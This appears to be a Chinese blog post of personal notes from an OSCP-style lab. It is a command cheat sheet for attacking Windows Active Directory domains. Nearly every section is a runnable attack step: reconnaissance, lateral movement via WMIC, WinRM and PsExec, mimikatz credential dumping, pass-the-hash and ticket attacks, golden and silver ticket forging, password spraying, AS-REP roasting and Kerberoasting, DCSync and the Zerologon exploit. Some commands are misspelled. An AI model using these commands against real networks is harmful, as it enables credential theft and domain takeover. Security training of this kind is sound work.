信息收集
net user /domain
net group /domain
net group "Domain Admins" /domain
# 这种方法没办法收集到组的嵌套关系
# 可以使用PowerView
Import-Module .\PowerView.ps1
Get-Netdomain
Get-NetUser | select cn
# 思路是找高权限用户,找哪一台主机有该用户的登录会话,用普通用户去连那台主机,找内存的hash
Get-NetGroup | select cn
Get-NetGroup "Domain Admins" | select member
Get-NetComputer | select cn,operationsystem,dnshostname
# 寻找普通用户在哪台机器上有本地管理员权限
Find-LocalAdminAccess
Get-NetSession #域当中所有主机当前的会话
Get-NetSession -ComputerName User1 # 查看User1中存在的会话
# 查看账户绑定的spn
Get-NetUser -SPN | select cn,serviceprincipalname
# 可以针对SPN服务账号的名称进行密码爆破
#看看解析成什么IP
nslookup
# 找域当中所有主机上的文件共享
Find-DomainShare
# 有一个文件共享必定存在 \\域名
\\oscp.com # 找一个SYSVOL,域当中的策略都在里面
# 各种信息收集可以用SharpHound
远程登录
WMIC
# 在远程主机user1执行命令
wmic /node:user1 process call create "cmd" # 现在登录的账号对远程主机有管理员权限,登录域的时候做一次身份认证后,执行命令不需要继续认证了
wmic /node:10.0.2.94 /user:oscp\alice /password:Password2 process call create "cmd"
# kali传输文件新方式
mkdir p
impacket-smbserver -smb2support p
# 然后在windows上访问\\kali-ip, 然后把要共享的文件拖进去
# 反弹shell可以用谷安提供的encode.py生成payload
WINRM
端口:5985、5986
平时如果用wmic远程连接可以成功,就不需要用到winrm,如果wmic不能用,可以看看5985、5986端口有没有开
windows默认winrm没启动
# 管理员权限
Enable-PSRemoting -force
netstat -ano # 看看端口起了没
winrs -r:user1 "cmd /c hostname & whoami"
# 非域环境
winrs -r:user1 -u:oscp\alice -p:Password "cmd /c ipconfig"
# 使用powershell调用winrm
New-PSSession -ComputerName user1
Enter-PSSession 1
PsExec
.\PsExec64.exe -i \\user1 cmd
横向渗透
PTH
机器上存在高权限的本地账号会话的话,密码的hash会缓存在机器的lssas内存中
mimikatz.exe
privilege::debug
sekurlsa:logonpassword
# kali
impacket-wmiexec -hashes :hash administrator@10.0.2.92
Over PTH
在本机上,利用已经获得的hash,给自己申请一个域管理员账号的票据,然后可以登录域的任何一台主机
sekurlsa::pth /user:administrator /domain:oscp.com /ntlm:hash /run:powershell
# 以管理员的身份打开了powershell
# 打开工具包,已经有管理员的票据了
PsExec64.exe \\dc1 cmd
PTT
服务票据可以从一台机器导入到另一台机器中
Bob可以访问文件共享,Alice不行,但是Alice可以在Bob这台机器中有管理员权限,可以从Bob机器上导出服务票据,导入到Alice的机器中,让Alice有权限访问文件共享
#Bob
sekurlsa::tickets /export
# 会在 mimikatz 当前目录
# 拷贝票据到另一台机器
# 票据导入
kerberos::ptt 票据文件名
# 导入后就有文件共享的权限了
持久化
金票伪造
管理员把密码改了,无法通过PTH来进行登录,可以伪造一张TGT来进行持久化
TGT通过krbtgt的hash来加密,所以伪造TGT需要知道krbtgt的hash
需要的东西:
- 域的SID
- krbtgt的hash
- 域当中任何一个用户的用户名
# SID
whoami /user
# krbtgt 需要有域管理员的权限
mimikatz.exe
privilege::debug
lsadump::lsa /patch
# 伪造金票
kerberos::purge # 清理票据
kerberos::golden /user:bob /domain:oscp.com /sid:domain-sid /krbtgt:hash /ptt
# 已经是管理员了
misc::cmd # 打开一个cmd
攻击AD域
Spray Password
域中密码爆破有阈值,所以反过来用密码破解用户名
powershell -ep bypass
.\Spray-Passwords.ps1 -Pass Password1
# kali下也有这种类型的工具
crackmapexec smb 10.0.2.94 -u user.txt -p Password1 -d oscp.com
AS-REP(Pre Auth)
一般用户拿到TGT之前是会经过DC的预身份认证
若DC中给某个管理员账户取消了预身份认证,该用户可以直接得到TGT,可以用所有用户向DC发一个身份认证的请求,返回的信息若有用某个账号hash加密的会话密钥,可以对密钥进行解密
要实现这种攻击:需要有一个普通的账号和密码
impacket-GetNPUsers --dc-ip 10.0.2.91 -request -outputfile hash.txt oscp.com/Bob
# 输入密码
Password1
# hash.txt 返回的是用alice的hash加密的信息
hash --help | grep -i kerberos
hashcat -m 18200 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt
# -r 是规则文件
Kerberosting(SPN)
针对SPN的弱密码来进行攻击
impacket-GetNuserSPNs -request -dc-ip 10.0.2.91 oscp.com/bob # 知道一个域中普通账号密码就行
# 输入密码
# 获取由服务账号hash加密的密文 将它生成h.txt
hashcat -m 13100 h.txt rockyou.txt -r /usr/share/hashcat/rules/best64.txt
# 获得sqladmin的账号,是域管理理员组的成员
银票
用来做提权的
需要:SPN服务账号的密码(如获取明文,可以把它加密成 nt hash),SPN名,域的SID
mimikatz.exe
privilege::debug
kerberos::golden /sid:domain_sid /domain:oscp.com /ptt /target:www.oscp.com /service:http /rc4:spn_hash /user:bob
DC同步
一旦获得域控制器的管理员权限,可以把所有账号的hash一次性dump下来
impacket-secretdump oscp.com/administrator:"Passw0rd"@10.0.2.91
原本是DC之间用来同步的机制,但是由于没有验证来源主机,所以只要管理员账号密码提供正确,即可dump下来
Zerologon
什么信息都收集不了,但是Server 2016没有打补丁的话,有这个漏洞
工具网上搜索Github ricksense zerologon
cd zerologon
python set_empty_pw.py dc1 10.0.2.91
# 参考zerologon的github项目,可以把所有账号的hash 都dump下来
impacket-secretdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'oscp.com/dc1@10.0.2.91'
标签:hash,账号,渗透,管理员,简单,操作,txt,com,oscp
From: https://www.cnblogs.com/cha0s32/p/17307945.html